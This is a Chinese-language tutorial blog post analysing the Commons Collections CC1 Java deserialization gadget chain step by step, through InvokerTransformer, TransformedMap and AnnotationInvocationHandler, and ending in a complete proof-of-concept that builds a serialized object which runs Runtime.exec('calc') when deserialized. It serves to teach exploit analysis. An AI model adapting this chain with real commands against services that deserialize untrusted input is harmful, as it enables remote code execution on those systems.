JAVA安全初探(三):CC1链全分析-先知社区
JAVA反序列化——CC1链 - Infernity’s Blog
这里本来是想用cursor,但是这个cursor不会自动将commons-collections.jar自动转换为java代码,所以想看源码要自己解压,十分不方便,其次就是这个用Maven的标准模式运行不了(需要在json配置依赖,比较麻烦),但是IJ可以直接运行,奇怪的是cursor可以用极简模式,IJ不行,IJ的格式要求比较严格,还有就是IJ要单独打开项目才可以运行,所以我综合这两个一起使用
1
2
3
  | 
public interface Transformer {
    public Object transform(Object input);
}
  | 
 
这个类会接受一个对象进行操作,看看这个类的实现(引用)

1
2
3
4
5
  | 
InvokerTransformer这个类接受三个参数:方法名、参数类型、参数。并在transform方法里进行反射调用。这里三个参数都是我们可控的,完全可以任意方法调用。
更重要的是,这个类是Serializable的,可以被序列化。
所以这个类就是我们链子的终点。
  | 
 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
  | 
//含参构造器,我们在外部调用类时需要用到
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { //参数为方法名,所调用方法的参数类型,所调用方法的参数值
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}
//重写的transform方法
public Object transform(Object input) { //接收一个对象
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();                               //可控的获取一个完整类的原型
        Method method = cls.getMethod(iMethodName, iParamTypes);    //可控的获取该类的某个特定方法
        return method.invoke(input, iArgs);                         //调用该类的方法
      //可以看到这里相当于是调用了我们熟悉的反射机制,来返回某个方法的利用值,这就是明显的利用点
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}
  | 
 
看了这个transform方法的定义,这里的参数都是可控的,那么我们就可以利用这里来调用任意类的任意方法:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
  | 
//我们来回顾一下如何利用反射调用Runtime中的exec方法
// 获取当前 Java 虚拟机的 Runtime 实例
Runtime r = Runtime.getRuntime();
// 获取 r 这个对象的类对象(即 java.lang.Runtime 的 Class 实例)
Class c = r.getClass();
// 通过反射获取 Runtime 类中名为 "exec",参数类型为 String 的方法
Method m = c.getMethod("exec", String.class);
// 用反射调用 r(Runtime 实例)上的 exec 方法,参数是 "calc",等价于 r.exec("calc"); 作用是在 Windows 下弹出计算器
m.invoke(r, "calc");
//那么我们尝试用transform方法来调用
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); //方法名为exec,参数类型为String,参数值为calc
invokerTransformer.transform(r);
//总结:比较上面两种方式,下面的transform相当于模拟了上诉的反射过程。
  | 
 
这就利用了 InvokerTransformer 通过反射调用 Runtime 的 exec 方法,实现弹出计算器(calc)。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
  | 
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
public class cc1_2 {
    public static void mian(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); //方法名为exec,参数类型为String,参数值为calc
        invokerTransformer.transform(r);
    }
}
  | 
 
这个类是我们链子的终点,接下来就接着往上找了,直到到达重写了readObject的类
右键查找方法的调用
这里直接看到我们需要的TransformedMap类下的checkSetValue方法
1
2
3
4
5
6
7
  | 
//我们找到该类的构造器
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    //接受三个参数,第一个为Map,我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了,可控。
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer; //这里是可控的
    }
  | 
 
1
2
3
4
5
  | 
//找到该类的checkSetValue方法
protected Object checkSetValue(Object value) { //接受一个对象类型的参数
    return valueTransformer.transform(value);
    //返回valueTransformer对应的transform方法,那么我们这里就需要让valueTransformer为我们之前的invokerTransformer对象
}
  | 
 
这个构造函数是protected,所以得让它自己调用自己(本类调用),所以我们就需要找到内部实例化的工具,这里往上查找,可以找到一个public的静态方法decorate
1
2
3
  | 
   public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
  | 
 
1
2
3
4
5
6
7
  | 
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//invokerTransformer.transform(r);
 HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMap
 Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer); 
//把map当成参数传入,然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformer.
  | 
 
我们调用这个方法,然后实例化这个类,然后接下来想办法调用checkSetValue方法
B.通过Map遍历,可以调用setValue方法,从而调用checkSetValue方法:

只有一处调用了,就是TransformedMap的父类AbstractInputCheckedMapDecorator类里有一个MapEntry类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
  | 
static class MapEntry extends AbstractMapEntryDecorator { //这里定义的是个副类MapEntry
  private final AbstractInputCheckedMapDecorator parent;
  protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
       super(entry);
       this.parent = parent;
   }
    public Object setValue(Object value) {
       value = parent.checkSetValue(value);
       return entry.setValue(value);
   }
}
  | 
 
Entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法

而上面副类MapEntry实际上是重写了setValue方法,它继承了AbstractMapEntryDecorator这个类,这个类中存在setValue方法
而这个类又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue方法,然后水到渠成地调用checkSetValue方法:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
  | 
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test {
    public static void main(String[] args) {
        Runtime r=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        // invokerTransformer.transform(r); <--- 相当于下面的代码是模拟这行代码,实现相同的功能
        HashMap<Object,Object> map=new HashMap<>();
        map.put("key","value"); //给map一个键值对,方便遍历
        Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
        for(Map.Entry entry:transformedmap.entrySet()) { //entrySet() 是 Java Map 接口中的一个方法。它的作用是:返回一个包含 Map 中所有“键值对(Entry)”的集合(Set)。通过遍历,当
            entry.setValue(r);                       //调用setValue方法,并把对象r当作对象传入,就是把 Map 里所有的 value 都改成 r
        }
    }
}
  | 
 

C.通过反射调用AnnotationInvocationHandler中的setValue
接下来看看哪个方法调用了setValue。在AnnotationInvocationHandler这个类中看到有个调用了setValue方法的readObject方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
  | 
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {           //有Map.Entry
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(                //调用setValue
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}
  | 
 
我们发现AnnotationInvocationHandler类是可序列化的。那这里明显就是最终出口了。

再看这个构造函数
1
2
3
4
  | 
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        this.type = type;
        this.memberValues = memberValues;
    }
  | 
 
1
2
3
4
5
  | 
它接受两个参数,第一个参数是Class,它继承了Annotation,Annotation在java里是注解。即@Override
第二个参数是Map,我们可控,我们就可以把我们设计好的TransformedMap传进去。
还有一点,我们注意这个类的声明,它并没有写public,没写就是default类型。只能在它自己的包底下才能访问到。所以我们只能通过反射获取到,不能直接获取。
  | 
 
1
2
3
4
5
  | 
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");       //反射获取类
Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);     //获取构造器,因为构造器也不是共有的,所以要用getDeclaredConstructor
constructorhandler.setAccessible(true);         //修改作用域,确保它可以访问
Object obj = constructorhandler.newInstance(Override.class,transformedmap);     //实例化它,第一个参数是注解,第二个参数是map
serialize(obj);
  | 
 
到这里链子基本上就完成,完整代码是
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
  | 
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class test {
    public static void main(String[] args) throws Exception {
        Runtime r=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    //        invokerTransformer.transform(r);
        HashMap<Object,Object> map=new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
    
    /*        for(Map.Entry entry:transformedmap.entrySet()) {
                entry.setValue(r);
            }*/
    
        //反射获取AnnotationInvocationHandler类
        Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");       //反射获取类
        Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);     //获取构造器,因为构造器也不是共有的,所以要用getDeclaredConstructor
        constructorhandler.setAccessible(true);         //修改作用域,确保它可以访问
        Object obj = constructorhandler.newInstance(Override.class,transformedmap);     //实例化它,第一个参数是注解,第二个参数是map
        serialize(obj);
        unserialize("1.txt"); //反序列化
    
    
    }
    
  public static void serialize(Object object) throws Exception{
       ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.txt"));
           oos.writeObject(object);
      }
        
            //定义反序列化方法
       public static void unserialize(String filename) throws Exception{
           ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
           objectInputStream.readObject();
           }
    }
  | 
 
但是没有弹出计算机,所以还有些问题没有解决,一起看看。
问题一:解决Runtime.getRuntime()对象不可被序列化
跟进到Runtime里看一下,发现它没有serializable接口,不能被序列化:
运用反射来获取它的原型类,它的原型类class是存在serializable接口,可以序列化的
我们怎么获取一个实例化对象呢,这里我们看到存在一个静态的getRuntime方法,这个方法会返回一个Runtime对象,相当于是一种单例模式:(单例模式 | 菜鸟教程)
1
2
3
4
5
  | 
Class rc=Class.*forName*("java.lang.Runtime");                 //获取类原型
Method getRuntime= rc.getDeclaredMethod("getRuntime",null);    //获取getRuntime方法,
Runtime r=(Runtime) getRuntime.invoke(null,null);              //获取实例化对象,因为该方法无无参方法,等价于Runtime r = Runtime.getRuntime();
Method exec=rc.getDeclaredMethod("exec", String.class);        //获取exec方法
exec.invoke(r,"calc");                                         //实现命令执行
  | 
 
那么上述这样就可以实现序列化,那么现在我们利用transform方法实现上述代码:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
  | 
Class rc=Class.*forName*("java.lang.Runtime");
/*Method getRuntime= rc.getDeclaredMethod("getRuntime",null);
Runtime r=(Runtime) getRuntime.invoke(null,null);
Method exec=rc.getDeclaredMethod("exec", String.class);
exec.invoke(r,"calc");*/
//利用transform方法实现上述代码
        Method getRuntime= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//这里模拟获取getRuntime方法,它的具体操作步骤类似之前
        Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
//这里模拟获取invoke方法
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
//这里模拟获取exec方法,并进行命令执行
  | 
 
这样要一个个嵌套创建参数太麻烦了,我们这里找到了一个Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法:
1
2
3
4
5
6
7
  | 
       Transformer[] transformers = new Transformer[]{
               new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
               new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
               new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
       };
       ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);          //作为最开始的输入传入,其他的都是互相嵌套而已。
  | 
 

这个代码可以运行,但是替换到完整代码还是没跳计算机
问题二:解决关于两个if的问题

打断点并调试跟进,可以发现此时memberType为空,说明这AnnotationInvocationHandler中第一个if都没进去。
这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解是没有成员变量的:
而我们发现另一个注解:Target中有个名为value的成员变量,所以我们就可以使用这个注解,把Override换成Target:
但是发现还是空。来仔细分析一下代码
这里的memberValue其实是我们传入map的键值对。就是 map.put("key","value");
1
2
3
4
5
6
7
  | 
这里的name是在memberValue里找键值对里的键(这里就是key)。然后第二行,在memberTypes里看看有没有这个键,有就让memberType赋值,就不是空了。
我们刚刚改过,memberTypes = annotationType.memberTypes();这里的memberTypes的值其实是我们传入注释里的值,我们刚刚看Target注释里的值是value。所以我们需要memberValue里键值对里的键的值是value即可。
所以,我们只需要把inmap.put(“key”,”value”);改成inmap.put(“value”,”aaa”);即可。
第二个if判断键值对是否能强转,不能强转就进入。我们这里是强转不了的,所以直接进入了。
  | 
 
问题三:解决setValue里的value不可控的问题
其实Transformer里还有一个类,是叫ConstantTransformer
1
2
3
4
5
6
7
8
  | 
public ConstantTransformer(Object constantToReturn) {              //接受一个对象
    super();
    iConstant = constantToReturn;
}
public Object transform(Object input) {
    return iConstant;                   //返回接受的对象
}
  | 
 
1
2
3
  | 
所以,我们只需要在最后那个点调用的是它的transform方法,传入我们最开始的传入对象Runtime.class无论中间有什么修饰变化,它最后返回Runtime.class,然后传给InvokerTransformer反射调用来rce了。
他同样是Transformer里的,所以我们可以一并写进Transformer数组里。
  | 
 
1
2
3
4
5
6
  | 
Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"})
};
  | 
 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
  | 
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class test2 {
    public static void main(String[] args) throws Exception {
        Class rc=Class.forName("java.lang.Runtime");
        Transformer[] Transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class), //添加此行代码,这里解决问题三
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
        //上述利用反射获取类原型+transformer数组+chainedtransformer遍历实现transform方法,来解决问题一中的无法序列化问题。
        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","gxngxngxn"); //这里是问题二中改键值对的值为注解中成员变量的名称,通过if判断
        Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o=constructor.newInstance(Target.class,transformedmap); //这里是问题二中第一个参数改注解为Target
        serialize(o);
        unserialize("1.txt");
    }
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.txt"));
        oos.writeObject(object);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}
  |